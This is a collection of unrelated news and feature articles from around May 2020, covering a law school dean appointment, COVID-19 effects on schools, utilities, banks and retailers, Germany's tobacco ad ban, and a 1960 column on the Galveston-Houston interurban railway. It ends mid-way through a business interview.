Benjamin Spencer has become the very first African American to become the dean of William & Mary Law School located in Williamsburg, which is the oldest Law School in the United States.

In a report sighted by YEN.com.gh on Blackhistory.com, the law school was founded in the 18th century in the year 1779.

Reports indicate that Spencer, who will also serve as the Chancellor Professor of Law at W&M, is a nationally renowned civil procedure and federal courts expert.

READ ALSO: Woman who did not know she was pregnant gives birth in bathtub

Source: UGC

Source: UGC

Currently, the African-American serves as the Justice Thurgood Marshall Distinguished Professor of Law at the University of Virginia School of Law.

In addition, the newly-appointed dean also has numerous awards and a rich history of top achievements to himself.

He is a recipient of the Virginia Outstanding Faculty Award, which is the highest honour for faculty working at the states colleges and universities.

READ ALSO: Mansa Musa of Mali is the richest man ever, not Jeff Bezos

He was also the first law professor ever chosen in the rising star category for the award, which is presented for excellence in teaching, research and public service.

Spenser has also been active in multiple university committees, working with faculty and students to help to shape their institutions in areas ranging from curriculum to inclusion.

Meanwhile, a young graduate of the Kwame Nkrumah University of Science and Technology (KNUST) with First-Class Honours in BSc Environmental Science has started her own business.

In a short interview with YEN.com.gh, the lady by name Deborah Laryea decided to start making hair from house-to-house for ladies.

Interestingly, Deborah indicates that the styles of hair she has been making are purely from her own imagination as she never learnt the skill. "I imagine it and my hands replicate my imagination," she says.

Enjoy reading our stories? Download YEN's news app on Google Play now and stay up-to-date with major Ghana news!

Ghanaian female accounting graduate and mushroom farmer recounts her experience | #Yencomgh

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Source: YEN.com.gh
John David Washington was surprised by how much Christopher Nolan revealed in Tenet (Image by Warner Bros)

The latest trailer for Tenet, Christopher Nolans upcoming sci-fi blockbuster, revealed a little bit more of what fans can expect from the film, while still leaving people scratching their heads at its plot.

In fact, at this point, all that we know is that John David Washington plays a international secret agent that is tasked with stopping World War III, and he is somehow able to use time travel to help him.

Read More: Christopher Nolan's 'TENET' gets a new, time-bending trailer

It turns out that Tenets trailer might have actually revealed much more than we realised. According to Cinemablend, after the release of the trailer, Washington appeared on the video game Fortnite, which is where the new footage for the film rather bizarrely premiered, to admit he was surprised by how much Nolan revealed.

Really, it's interesting, because there are just little nuggets of information and just breadcrumbs of information about the movie that I was surprised [Nolan] was going to reveal. And I love that he did.

MUMBAI, INDIA SEPTEMBER 17: Hollywood filmmaker Christopher Nolan spotted shooting for next film 'Tenet' near Taj Hotel, Colaba, on September 17, 2019 in Mumbai, India. (Photo by Kunal Patil/Hindustan Times via Getty Images)

Arguably the biggest take away from the Tenet trailer was its insistence that the film will be released in theaters, although the title card at the end of the clip failed to provide a concrete release date.

Read More: Report: Christopher Nolan's 'Tenet' will need '80% of cinemas' open to keep release slot

Nolan is adamant that Tenet will be the first film released in movie theaters after governments decide to end the COVID-19 quarantine. But with the movies planned release date of July 17 getting ever closer, and most people still locked in fear by the pandemic, it looks increasingly unlikely that Tenet will actually hit cinemas on that date.

Especially since, every other movie that was supposed to be released around this time has already been delayed, and even if cinemas do open they will only do so at a reduced capacity.
Dhaka, May 22 : Bangladesh-based Beximco Pharmaceuticals has become the worlds first company to produce a generic version of the antiviral drug remdesivir, originally developed by US-based Gilead Sciences, it was reported on Friday.

Remdesivir was originally designed as an Ebola treatment, the BBC reported.

It works by attacking an enzyme that a virus needs in order to replicate inside our cells.

Beximco's production of the generic version will ensure quick supply of the drug to many countries in the South Asia.

A recent clinical trial in the US showed the drug helped shorten the recovery time for people who were seriously ill.

However, it did not significantly improve survival rates. Experts have warned that the drug should not be seen as a "magic bullet" for coronavirus.

But in the absence of any clear treatment for COVID-19, many countries are willing to try remdesivir, said the BBC report.
What new skill did you learn in quarantine? For me and my colleagues at UNDP Serbia, we mastered the art of hiring cargo planes to transport medical supplies.

Given the global crisis, with even the worlds most advanced economies experiencing a lack of medical supplies, or having trouble bringing them from abroad, the odds were against a small middle-income country. Yet in barely a month and a half, we managed to fly in 15 cargo planes with 720 tons of ventilators, protective equipment and COVID-19 tests.

We knew that Serbia would need help buying medical supplies the moment that the outbreak reached Europe. The government had already secured a significant quantity of medical equipment but lacked an efficient means of transport.

When we first received the official request for help from the presidents cabinet, I remember thinking, How will we pull this off?

But when you are in the midst of the national epidemic, every hour counts. I realized giving up was not an option. We just had to do whatever we could to make it work.

Drawing on experience from devastating flash floods that hit Serbia in 2014, Zarko Petrovic, the Resilient Development Team Leader, proposed to repurpose the funds from a project recently signed with the European Union Delegation.

UNDPs Resident Representative Francine Pickup and the UN Resident Coordinator Francoise Jacob reached out to the EU. Our partners reacted incredibly fast, showing a great deal of flexibility, and within a day expedited all the paperwork to allow funds to be reprogrammed.

Now we had funding, but with increased global demand for cargo planes, securing them on time and at reasonable prices was another challenge. This is where our UNDP regional network helped, with supplier contacts and advice to ask companies on our roster of pre-approved contractors for offers.

The result? In less than 48 hours, the first plane was booked.

When we informed our government partners that we had found both the funding and the planes in such a short time, it was a truly remarkable moment. Nobody could believe it. We had managed to do the impossible.

And the rest is history, I would love to say. But not really. Not one of those fifteen flights went smoothly. Working with people in different parts of the world and very different time zones to solve the arising issues meant many sleepless nights.

I have done many important things in life and during my long UNDP career, but this is the first time that I felt the urgency of human lives depending on us.

When the tenth planearriving from China, I had a virtual meeting at midnight, confirming that everything is going as planned. At 6 a.m. a call from the Serbian Embassy in Beijing woke me up, letting me know the plane had not yet taken off, because it lacked a permit. The equipment had not gone through the customs clearance on time, so the plane operator agreed to wait, but changed the route of the flight, which entailed issuing new permits, a process that usually takes days.

Through with the aircraft brokers, we managed to bring the plane back to its original route and resolve the administrative issues within an hour.

After two weeks of dealing with challenges over and over again, somehow, I began to realize that there was no insurmountable problem. Everything can be solved became my new mantra.

What helped was having continuous communication with the relevant authorities in Serbia, Serbian embassies abroad, as well as the embassies of the countries from which the goods were being delivered.

The pandemic-imposed quarantine has changed communication for everyone. I used Whatsapp, Viber and We Chat groups daily. After I organised a Zoom meeting for partners from the government, with airline operators from the UK and forwarders from China, the government partners started using Zoom themselves. It occurs to me now that in moments of crisis lflexibility is a major asset.

Without dedicated teamwork, it would have been impossible to coordinate everything and transport the goods in a record time.

Throughout the office, there was a shared understanding that we are in this together. I split tasks with my closest team members Aleksandra and Goran, who joined me early on in tracking the flights. More 15 of our colleagues were involved in one way or another, supporting the operation, from procurement to finding accommodation for plane crews and securing movement permits for all the involved. At the time, Belgrade was under a lockdown, with 12-or more-hour curfews, depending on the day of the week.

Our integrator approach was also crucial. For the flights, we connected the different actors and helped make the system work. We were also able to help other UN agencies, UNOPS, WHO and UNICEF, to transport medical equipment they had purchased and wanted to donate.

Trust we received throughout the process was paramount. The trust that senior management had in us, allowing us to take risks; trust between colleagues from diverse portfolios; trust we had from the Government of Serbia, which included us in all necessary communication channels to make it all possible; and the trust of our partner and donor, the European Union that we would get the job done. A moment I will never forget is seeing the EU Delegation to Serbia Ambassador Sem Fabrizi, the Serbian EU Integration Minister Jadranka Joksimovic, the Chinese Ambassador to Serbia Chen Bo and our R.R. Francine Pickup driving together in the airport shuttle bus, as they welcomed that first plane. For me, that was a true embodiment of solidarity, of East and West united in humanitarian response, joined together by UNDP.

I have been nicknamed the Queen of Flights during our offices COVID-19 response. Its a badge I will carry with honour, knowing how many lives we managed to save in a short period of time.
Private water utilities throughout our state have met the challenges of this extremely difficult period head on and continue to deliver an essential service to residents and businesses without skipping a beat. In isolation, there are many things we can temporarily go without  safe, clean drinking water isnt one of them.

According to a recent JD Power water utility survey, 41 percent of water customers expressed concern about COVID-19 transmission through water. Fortunately, the Centers for Disease Control and Prevention has reported that the virus that causes COVID-19 has not been detected in drinking water and that conventional water treatment methods such as filtration and disinfection, which are used by Aquarion Water Co., remove or inactivate the virus that causes COVID-19.

Private water utilities also continue to follow stringent federal and state water testing requirements. Our water quality department performs more than 163,000 water tests each year to ensure the safety of our customers drinking water. To maintain the highest quality water, we also continue to replace aging infrastructure and clean water mains to remove natural occurring minerals that settle over time.

From the beginning of this pandemic, we have worked in close coordination with the Connecticut Department of Public Health and water utilities across the state. In addition to committing to provide mutual aid to any Connecticut water system in need of assistance, Aquarion has also volunteered to assist in the delivery and distribution of FEMA-supplied PPE for small drinking water and waste water system operators in Connecticut. Careful planning and coordination has kept Connecticuts drinking water treatment and distribution systems reliable for our state residents.

As president of Aquarion Water Co., I can speak to the business continuity and staffing response plans that are essential for emergencies such as this. Most importantly, it is prudent investment in critical infrastructure that ensure our systems will function properly when put to the test.

Today, the water industry is far more complex than just water mains and reservoirs. Backed by the financial strength of our parent company, Eversource, we continue our investment in essential infrastructure during this pandemic. These investments enable us to provide uninterrupted water service to hospitals, fire departments, critical businesses and residents in the 52 cities and towns we serve throughout the state. While adhering to stringent safety protocols, our skilled workforce continues to complete these necessary tasks while keeping themselves and the public safe. Additionally, investments in technology allow our water treatment operators to remotely manage our facilities and our customer service employees to respond to emergency calls around the clock. Continued infrastructure investment will also be critical to a rapid economic recovery in the state.

In addition to ensuring the reliable delivery of safe, clean water, we also want to make sure financially-impacted customers are provided the assistance they need at this time. That is why we have suspended water shutoffs for nonpayment, eliminated late fees, offered flexible payments plans, and expanded financial vouchers for residential and small business customers. To learn more about the options available from your utilities, visit the Connecticut Public Utilities Regulatory Authoritys website at https://portal.ct.gov/PURA/Consumer-Services/PURA-COVID-Actions.

Connecticuts private water utilities will continue to deliver the essential water services residents and businesses depend on. Aquarion is proud of its 163 years of service to the state of Connecticut and looks forward to helping communities navigate the challenges presented by COVID-19 safely and successfully.

Donald J. Morrissey is president of Aquarion Water Co.
Kathy Granger has a difficult puzzle to solve. As superintendent of the Mountain Empire Unified School District in southeastern San Diego County, shes forging ahead with plans to re-open school buildings this fall, with a staggering and expensive mix of new health and safety precautions because of COVID-19.

With a 660-square mile district of rugged mountain terrain that borders Baja California, Granger already spends $1.5 million a year7 percent of her annual budgetto bus 3,200 students to eight schools. But to make sure kids can be spaced out enough on buses this fallmeaning no more than 20 per busGranger figures she needs to quadruple the districts 14 bus routes a day to 56.

Sticker price: $4.5 million.

That ballooning transportation cost would come just as state officials, including Democratic Gov. Gavin Newsom, say public schools need to hack as much as 10 percent from their current budgets. Then theres a whole other list of newand risingcosts to cover: $40,000 already to buy Plexiglas for the districts front office, free-standing hand sanitizer machines, and handwashing stations in campus outdoor areas where students eat lunch.

It develops a lot of fatigue, Granger said about trying to make ends meet. Its hard to see the end game.

With drastic budget cuts on the near horizon in every state, the end game may be keeping buildings closed.

See Also How COVID-19 Will Balloon District Costs This Coming School Year

A growing number of school district leaders say they wont be able to afford the extraordinary efforts required to safely reopen school buildings this fall. Instead, they are considering opening for a few days a week or, worst case scenario, waiting to reopen buildings until a vaccine is developed.

What does it cost to social distance? said Michael Griffith, a senior school finance researcher and policy analyst for the Learning Policy Institute, who estimates that states will need to spend an extra $41 billion in order to reopen school buildings. How do you provide food service? A lot of districts are going to have to set up dividers in classrooms and install air quality systems. Well, all these things have real costs associated to that. But were making budget cuts at the same time were asking educators to rethink what a school day looks like.

Without another federal bailout in sight, most states lawmakers will reconvene over the next several weeks to cut billions of dollars out of school districts budgets for the 2020-21 school year to deal with a precipitous drop in sales and income tax revenue.

Those cuts will prevent administrators from instituting the sort of health protocols that some medical professionals, teachers, and parents are demanding to further prevent the spread of the virus, including hiring more teachers and increasing bus routes to avoid student crowding, purchasing sufficient face masks and touchless thermometers, and installing protective barriers around teachers and office secretaries desks.

Nowhere is the debate over the affordability of reopening schools more acute than in California where Newsom last week estimated the states public schools will have to cut more than $19 billion from its K-12 budget over the next two years. Meanwhile, Newsom has encouraged districts to open school buildings as early as this summer. The state has provided districts flexibility over when to do that.

Leaders of six of the states largest school districts told California lawmakers that if the governors proposal goes through, they cant safely reopen buildings in the fall.

We cannot in good conscience risk the health and safety of our students and staff by returning to the classroom prematurely and without funding for the necessary precautions given the continued lack of a national testing program and a lack of clear understanding of the impacts of coronavirus on young people, wrote the superintendents of Los Angeles Unified, Long Beach Unified, Oakland Unified, Sacramento City Unified, San Diego Unified, and San Francisco Unified.

District administrators in California, including Mountain Empires Granger, describe a chaotic, frustrating, and rapidly evolving scenario: Congress has been reluctant to provide more COVID-19 relief beyond the $13 billion that went out to schools in April; the states department of education has provided little guidance on what safely reopening looks like; and teachers and parents are pushing administrators to decide when reopening will happen so they can make plans for next school year.

Most administrators say theyd like to decide by June 1 when and how to open this fall.

Linda Irving, the superintendent of Sebastopol Union School District in Sonoma County, estimates she will have to cut more than 10 percent of her districts budget this summer if the states anticipated budget cuts go through.

Irving and her staff decided last month that theyd like to roll out a hybrid model this fall of distance learning and in-person instruction in classrooms for their 900 students.

But in order to do so, she said, the district will have to purchase 700 Chromebooks, about $300 each, hire more janitorial staff to more frequently clean the districts buildings, and purchase thousands of face masks for staff members and students.

How many masks should I buy? she asked. Does our staff need one per day? One per week? If a kid comes to school without a mask on, do we send them home? Should we provide them with one?

Irving and her team have been searching online for touchless thermometers. She thinks she will need several dozen in order to check students temperatures throughout the day. Each week, she said, the price ticks up. The cheapest models she could find cost more than $80.

Though costs are escalating, shes painfully aware of the need to get children back in school.

We need to open up, Irving said. Its whats best for students. Students need to interact with their teachers and with each other. Its really a no brainer.

In rural and spread out districts like Grangers, costs could escalate even more to ensure students will have access to online learning. Shes considering purchasing satellite devices for her students to access Wi-Fi.

Some of our kids are totally off the grid, she said.

And if the district goes with a hybrid plan, keeping children in class for two days a week and out of school for the other three days, she knows parents will need child-care services. The current grants the district uses to run after-school programs cant cover that sort of demand, she said.

Nationally, budget cuts will likely fall on districts that serve a disproportionate number of black, Latino, and poor students who live in communities hit hard by the pandemic.

Some district leaders say they will need to hire extra counselors to help students cope with the emotional trauma of seeing family members die from the coronavirus; more teachers to help students who were academically behind before the pandemic shut schools down for the rest of the year; and on-site nurses to help principals prevent the further spread of the virus.

Cindy Marten, the superintendent of the San Diego Unified district, which annually spends more than $1 billion, said her costs will jump another 20 percent in order to safely open schools this fall.

The staff, along with the districts pediatrician, has spent the last several weeks devising a reopening plan that will require students to attend school five days a week.

Im not ready to give up yet, she said. Our state still has time. Theres room for the federal government to help. A lot can happen this summer. But we need to be very clear about what its going to take.
The State Border Guard of Ukraine sent the interested central executive bodies a draft Cabinet of Ministers decree amending the Plan of Action Plan for the Wall, which envisages completion of construction on the border with the Russian Federation in 2025. This is stated in the letter of the State Border Service at the request of the StateWatch expert organization.

Border guards explain the need to extend the deadlines for the implementation of the action plan for the engineering and technical arrangement of the Russian-Ukrainian border with reduced funding, as well as an increase in the cost of construction materials, work and services.

In 2014, Arseniy Yatsenyuk announced the beginning of the construction of a physical border between Ukraine and the Russian Federation. The construction was supposed to be completed in 2018, but the deadlines were extended to 2021. Now it is planned to postpone the implementation of the Wall project for another 4 years, that is, by 2025.

As we reported before, Vice Prime Minister, First Deputy Head of Ukraines Delegation at the Trilateral Contact Group Oleksiy Reznikov believes that Russia needs Crimea for presence in the Black Sea and Donbas to keep Crimea.
While bad loans from the corporate sector may rise by Rs 3.4 lakh crore, for non-corporate segments it may increase by Rs 2.1 lakh crore in FY21, India Ratings and Research said in the report

Mumbai: With economic activity coming to a standstill due to the COVID-19 crisis, total slippages in the banking system may rise up to Rs 5.5 lakh crore in the current fiscal, says a report.

While slippages from the corporate sector may rise by Rs 3.4 lakh crore, for non-corporate segments it may increase by Rs 2.1 lakh crore in FY21, India Ratings and Research said in the report.

The rating agency said most sectors in the county are likely to experience varying degrees of revenue contraction during FY21 due to demand and supply disruptions.

"COVID-19 may drive total slippages of up to Rs 5.5 lakh crore (5.7 percent of the gross bank credit)," it said.

Banks faced elevated provisions resulting from the corporate stress cycle over FY16-FY20 and they had largely provided for the existing corporate stress and were progressing towards a more moderated credit cost cycle, the report said.

However, the COVID-19 related situations are likely to result in another cycle of stress.

The rating agency said as per a stress analysis of 30,000 corporates, the total standard-but-stressed corporate pool may increase from 3.8 percent of the total bank credit as of December 2019 to up to 6.6 per cent in this fiscal.

Out of this, the agency estimates corporates exposures of up to 3.2 percent of total bank credit are at a high risk of slippage.

The report further said the growth slowdown due to the COVID-19 outbreak will aggravate the stress and slippages in the non-corporate segments -- retail, agriculture and micro, small and medium enterprises.

"About 40 percent of the incremental slippages could come from the non-corporate segments," it said.

The rating agency said the pre-COVID credit costs estimates for FY21 show an increase of up to 60 percent, which would bring the profitability of most state-run banks under pressure in FY21.

The credit costs for the system could increase up to Rs 2.7 lakh crore in FY21; around 70 percent of which could be attributed to PSBs.

"If the accelerated provisioning regime is reinstated, then there could be additional credit costs of 0.3-0.6 percent. This could require the government to infuse additional capital into PSBs," it said.

The report expects the capital requirement for PSBs in the range of Rs 30,000-55,000 crore in FY21 under a benign provisioning regime.
This week Sephora announced its plans to begin reopening its stores across America after closing all of its retail locations on March 17 due to the coronavirus pandemic. But this wont be happening all at once, and there will be a number of new safety measures in place to protect shoppers and staff.

Select locations in Colorado, Indiana, Kansas, South Carolina, South Dakota, Tennessee, Texas, Utah, Georgia, Alaska, Arkansas, Arizona, and Alabama will be among the first to reopen their doors to customers on May 22. The company said in a press release that it will evaluate each store based on local government and health guidance before making a decision.

While the retail environment will feel different and many factors will remain out of our hands, weve learned to embrace what we can control. We are taking an intentionally measured and phased approach to reopening, putting the priority on the health and safety of our communities, Jean-Andre Rougeot, president and CEO of Sephora Americas said in a press release. As we gradually reopen our stores over the next few months, we have taken great care in how we welcome back our employees and our clients. We are grateful for our clients support the past two months, and we want to safeguard the experience for those who want to return to stores. We will follow guidance from the CDC, government and health authorities in tandem with extensive supplemental safety measures, to formalize our new Sephora Health & Hygiene Guidelines, that safeguard the in-store shopping experience.

The new Sephora Health & Hygiene Guidelines include 48 safety procedures and extensive employee training. This includes adhering to social distancing guidelines and restricting the number of people allowed in a store at any given time, deep cleaning, hand sanitizers placed throughout the store, face masks worn by staff and available to customers, and temperature checks for all employees. You also wont be able to use any testers until further noticethey will remain for display only.

Story continues

Sephora says it will continue to pay its employees (including benefits) who work at stores that are not yet reopening.

Amid the pandemic, the company has also been among the major beauty brands giving back to those in need. Earlier this month the retailer announced its Project Care program, which will supply products to over 65,000 frontline health care workers and those dealing with domestic violence across the United States.

Originally Appeared on Glamour
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Linkedin News Desk (Agence France-Presse) Frankfurt, Germany  Fri, May 22, 2020 09:45 608 fc6853813033f564188675f8bd98dfe3 2 World Germany,TobaccoControl,tobacco-ad-ban,tobacco-bill,tobacco-control Free

Advertising tobacco products in German streets will be banned from January 2022, according to a draft law seen by AFP on Thursday, following a U-turn by the governing conservatives.

Although tobacco advertising is outlawed in the media, Germany is the only European Union country that still allows street posters and cinema advertising.

The bill, due to be debated in parliament next week, was agreed after long negotiations among the governing coalition.

A similar initiative in 2016 failed after it was opposed by Chancellor Angela Merkel's conservative CDU/CSU bloc, but the party changed its position at the end of last year.

The proposed law includes plans to end free distribution of cigarettes at events and limit advertising in cinemas to films aimed at adults.

The advertising ban will be widened to include electronic cigarettes by 2024.

The new measures, combined with existing restrictions, are an "effective way to lower the number of smokers" in Germany, according to the bill.

"Limiting tobacco advertising on the street and in cinemas is long overdue," Julia Kloeckner, the minister responsible for consumer protection, told local media.

"Above all, we have to protect young people, so that ideally they don't even start smoking."

Some 15 percent of German adults smoked cigarettes every day compared with an EU average of 19 percent, according to EU data from 2014.
Anupama Chopra, Principal, GD Goenka Public School, East Delhi

As the head of an institution, it is very important to connect with the school community and foster effective relationships. This is a challenging time for everyone and certainly one we have not experienced before. In this grave situation, we continue to move with an approach of instilling hope and confidence. Our journey of imparting education continues by implementing an array of tools for students, parents and teachers so that all can be connected as a thread from one corner to another. I have used the motivational approach to encourage teachers to explore innovative ways as they impart education to students. To an extent we have been successful in reaching to our students through Google Classrooms, Zoom App, Gmail and other social platforms. We have started taking not only academic classes but also co-curricular activities through virtual classrooms. One must adapt to the environment to be true survivors and achievers.

N Geeta Srinivasa, Principal, Ryan International School, Sector-31, Gurugram

I enjoy my old hobby of reading books, apart from attending morning yoga session and practising meditation, says

During this lockdown period, as our students and teachers are getting themselves equipped with new technologies, as the head of this institution I am keeping myself updated with kinds of newest information around the world and sharing with them. I also enjoy my old hobby of reading books, apart from attending morning yoga session and practising meditation. I have also resumed drawing and writing poetry that were pending for long due to my hectic work schedule. I strongly feel that we will overcome this period of crisis and we all will happily rejoin our daily schedule and eventful life.

Reena Rajpal, Principal, DLDAV Model School, Shalimar Bagh

The times are different  unprecedented challenges have shaken humanity, forcing it to introspect about the way life has to be lived. Never again shall we take for granted the beauty of our simple routines --- the exciting beginning of a new session, children clamouring for attention and teachers rushing to give final shape to their orientation sessions. We are missing it! However are we not able to hear the birds sing? Breathe cleaner air? Yes! That is what we must focus on. We, at DLDAV, Shalimar Bagh, have grown like never before. We have turned the entire school virtual. The teacher-student-parent connect has been firmly established through the online learning platforms Google Meet, Google Classroom, Jamboard, Zoom, Snap Hw and WhatsApp. It is heartening to see the commitment of the faculty to learn the use of latest tech tools for reaching out to the students. The new challenges and experiences that they are facing are providing lessons in resilience and patience, time management and organisation, innovation and reinvention. Children are playing the keyboard, reading books, making videos on cyber security and writing poetry. So, as a principal, I have much to be pleased about. For I see all my teachers, students and parents growing constantly. No virus has been able to dampen our spirits! The times are tough. But we are tougher! We shall triumph!

Shiney Sharma, Class 6, Manav Sthali School, New Rajendra Nagar

Shiney Sharma initiated the Make A Chain To Break A Chain campaign to spread light of hope when the whole world is facing such a critical situation due to the Covid-19 pandemic

Do your work sincerely and silently, give your best and work hard, and let your success make noise --- these inspiring words of Mamta V Bhatnagar, director and founder principal of my school, encouraged me to follow my passion for dance during the lockdown. I have been learning Kathak for the last five years so I decided to use this passion of mine as a medium to promote the Manav Sthalis campaign Stay@home. For this, I initiated the Make A Chain To Break A Chain campaign to spread light of hope when the whole world is facing such a critical situation due to the Covid-19 pandemic. For the campaign, I decided to upload one video with a different theme everyday. As I started, my classmates and friends from other schools also joined me and soon we became Team Shiney. Through videos, we conveyed to people messages such as stay at home, social distancing, gratitude towards doctors and other medical staff, salute to police, tribute to teachers and mothers, love nature and nature will love you back, digital India and many more. I thank all who supported me and inspired me for taking up this noble cause for humanity.

Titiksha Sharma, Class 10, DAV Public School, Sector-14, Faridabad

Realising that being stuck at home during the lockdown period is not only very monotonous but can also be challenging, I have, nowadays, started learning a lot of things that I will like to share with others so that they too can use their time productively. I have scheduled my time that starts from the moment I wake up till I go to sleep. This scheduling is helping me in using my time productively. Due to this, I am able to do all my work including studies, making projects, doing exercise etc. on time. This ongoing lockdown is also proving to be very helpful in maintaining a disciplined life. I also spend sufficient time for fun activities. I devote part of the time with my family, watching movies and playing ludo and carom. Apart from these activities, I am also honing my cooking skills these days. During such a period, one should have an entertaining and advantageous hobby. Mine is reading books and I am striving to use as much time as is possible during the lockdown period to nurture this wonderful hobby and to devote my energies to it.

Devansh Sharma, Class 8-A, Puneet Public School, Vishwas Nagar

During this lockdown period, I get enough time to indulge in my recreational activity which is painting and playing with colours. I use this time to create something new with colours. Recently, I made a poster on Covid-19 and the importance of hand washing to prevent infections due to the outbreak of the pandemic. This period has indeed given us a great opportunity to explore our talents.

Anshika Handa, Class 7, Bosco Public School, Paschim Vihar

Anshika Handa spending her lockdown time in sketching that relaxes her and helps vent out her feelings

I love sketching and this period has given me ample time to hone my skills. When all are distressed amid the Covid-19 pandemic outbreak, sketching relaxes me and helps vent out my feelings. I wanted to become an artist since childhood because I have been endowed with creative skills. I still get bored at home sometimes and engage myself in other activities. The walls of my room are covered with my sketches. We must all practise at least an activity that relaxes him/her. Stay safe and healthy.
This Sig Byrd column was originally published in the Houston Chronicle on May 23, 1960. Herb Woods' "Galveston-Houston Electric Railway" was originally published in 1959 and updated over the next few decades. Copies could once be found at the Galveston Railroad Museum, but they can also be purchased on Amazon. Dunbar Spur, mentioned in this column, existed between what's now Ellington Airport and Webster. According to Erik Slotboom's "Houston Freeways," the Gulf Freeway from downtown Houston to Bellfort sits on the original interurban alignment. After that, an electric transmission line sits atop much of the old interurban path to Galveston. You can trace it out on Google Maps.

You are instructed not to allow passengers to carry fish, oysters, game or other objectionable matter inside or through the cars. A reasonable amount of such items may be carried in the front vestibule, but must be put on and taken off from the front end.

That regulation, quoted from the first rulebook ever issued by the Galveston-Houston Electric Railway, gives you an idea what kind of a line it was. High class. At least, it was when it started operations on Dec. 5, 1911, almost half a century ago, with cars leaving both cities every hour on the hour for 18 hours daily.

And they were the fastest electric trains in the country.

***

Todays teen-agers never saw the Galveston interurbans, for after 25 years of good service and poor profits, they vanished from our Gulf Coast forever on the last day of October in 1936, year of the Texas Centennial.

The Bluebirds, Flyers, Rockets, Moonbeams, Nighthawks and Pleasure Limiteds were sights to remember. And a ride on any of them was an experience to be recollected one day with pleasure and a touch of sadness. For the ride was a carefree ride in a carefree age and the G.H.E.R. motto was Speed With Safety.

***

The interurbans were speedy all right. Electric Traction Magazine held a speed contest in 1925, and 30 interurban lines entered. Galveston-Houston won first place and a silver cup.

The competition was repeated in 1926, and our interurban won first again. The company adopted a new motto: Americas fastest interurban.

Actually, the average speed of the electric cars and trains was not great, measured by todays standards. But Herb Woods, in his unique book, Galveston-Houston Electric Railway, says the big heavy trolley cars sometimes hit 80 miles an hour between Dunbar Spur and League City.

***

My first ride on the G.H.E.R. was in 1928, when the system was in its prime. I had almost forgotten that the cars used to leave Houston going eastward on Texas Avenue, right past The Chronicle Building.

But the other day in Galveston, I was visiting the reopened Interurban Queen newsstand last week and the new owner, Vincent Genna, showed me a copy of Woods book.

Do you imagine that an 84-page book about nothing but our old interurbans might make dull reading? Dont you believe it. This is one of the most enjoyable publications Ive seen in a long while. The text is excellent, and the work is generally illustrated with charming photographs and drawings.

If youre inclined to be sentimental about the past, this book will probably bring tears to your eyes. If you want one, the Interurban Queen sells them for $2 as long as they last. Vince says he sells them as fast as they come in.

***

After reading in the Woods book that the old cars sometimes made 80, I called up Sam Danna, who used to be a conductor on the line and then became a dispatcher. And he said cautiously, Well I wouldnt want to confirm that 80-mile-and-hour figure. Those cars were designed for a top speed of about 60.

Fastest schedules were those of the express trains that made it from depot to depot in 75 minutes. That included time spent fighting traffic and making local stops in the two terminal cities. Weekend round-trips in the 20s cost only $1, no tax.

Legends about the old interurbans abound. One tells of a race between an electric car and a steam train, Galveston to Houston. Another tells of how an interurban loaded with soldiers made it from Galveston to Houston in 55 minutes during the Camp Logan riot in World War I.

Herb Woods book doesnt tell those stories. But I enjoyed his narration of a typical run from Houston to Galveston in a car that reminds us somewhat of a long, narrow little church with its cloistered arches. The handsome, semi-Empire ceiling lends dignity to the car.

Sights along the way are described in detail:

Slowly, majestically, we continue down Texas Ave. Across the street to the left is the old Palace Theater, and beyond it the famous Rice Hotel. We notice an orange-colored twin headlight car on Travis St. with Heights on its sign

***

Then, out in the country:

The Webster way station comes into view, and Whistling Dick Stelwagon holds another blast on the horn loud enough to raise the dead. The yokel at the wheel of a truck follows our passing with mouth agape. Far ahead, our track is beautiful as far as the eye can see.

Our controller is on the brass, and again were making prize-winning speed on the electric speedway. Shes doing almost 80! On, faster and faster -- like a zephyr, or better yet, a hurricane!

***

I cant say what the top speed was myself. But it was a thrilling ride on a summers night with all the windows open. And where the track wasnt too level, I recollect, it sometimes felt like we were taking off.

Safety rules were strict and the interurbans safety record was good. But Sam Danna remembers the night of Dec. 31, 1926, when a Galveston-bound car with 23 passengers aboard crashed into a freight train at Texas City Junction.

The interurban car turned over on its side. At least one passenger had to be hacksawed free. The car itself was so badly wrecked that it had to be burned on the spot.

But nobody was killed, and the worst injury was a broken ankle.
As part of our #LockdownLessons series, Bizcommunity is reaching out to South Africa's top industry players to share their experience of the current Covid-19 crisis, how their organisations are navigating these unusual times, where the challenges and opportunities lie, and their industry outlook for the near future.

Kemble Morgan

What was your initial response to the Covid-19 pandemic and has your experience of it been different to what you expected?

Comment on the impact of the Covid-19 pandemic on Young Living Essential Oils and the economy as a whole.

How is your company responding to the crisis?

The management team tries its best to keep staff engaged, in good spirits and empowered. Part of the way we do this is by continuously seeking their counsel on high-level challenges as well as inviting them to be part of member-driven training sessions that we host daily during the week.

Comment on the business challenges and opportunities that you're seeing right now.

How are you navigating physical distancing while keeping your team close-knit and aligned?

How have you had to change the way you operate?

Any trends youve seen emerge as a result of the crisis?

Many people are looking for their side hustle to supplement income due to a reduction in salaries or job losses.

What do you predict the next six months will be like?

Your key message to those in the sector?

Young Living Essential Oils opened its South African office just 7 months ago, and now, like many of us, the local team is having to adapt to do business under lockdown.The USA-headquartered company's core business is the distillation and sale of high-end and concentrated essential oils. Secondary to this is the entrepreneurship opportunities it offers through its network marketing structure.Founded by Donald Gary Young in the late 1970s, the company now boasts enjoys a locational presence across in more than 30 countries across seven continents.Here, Kemble Morgan, Young Living Essential Oils general manager for Africa, chats challenges and opportunities brought on by the pandemic and how the company is keeping its staff motivated.I think in general, my response throughout this entire experience has mirrored that of any business owner. Concern for employee health and safety, business continuity, fear of low to no sales and how to keep my staffs livelihood safe and secured as the world  and this country  navigate through this difficult time.As we all know, the Covid-19 pandemic has drastically impacted the global economy, with Martin Kingston of Business for South Africa (B4SA) stating that in South Africa, the GDP in 2020 will decline between 10% and 17% and in addition, between 1 million to four million jobs are at risk.Thankfully, a few days before the SA lockdown was initiated, we managed to secure an essential service certificate from the CIPC. This granted us the legal rights to continue servicing our Young Living members and future interested parties during lockdown.So, at the moment, each member of my staff continues to diligently go about their respective jobs from home and members/customers are able to place orders online and receive delivery of their favourite Young Living essential oil products.In light of the circumstances, my team is coping relatively well.Our biggest challenge at the moment is selling a niche product to a worried, anxious and sceptical market. As a new company, we have the challenge of securing buy-in for our premium products and in a time such as this, it can be difficult for people to immediately see the benefits of trying something new.However, on the upside, the business opportunity has become a real game-changer for individuals who have lost jobs or taken major pay cuts. Although the media continues to put a negative spin on this, I believe this opportunity could be a blessing for many of those who have been negatively impacted by the SA lockdown and Covid-19.We have a sturdy work-from-home policy which helps us keep our team engaged and driven during the work week. From a company culture perspective, we do our best to keep 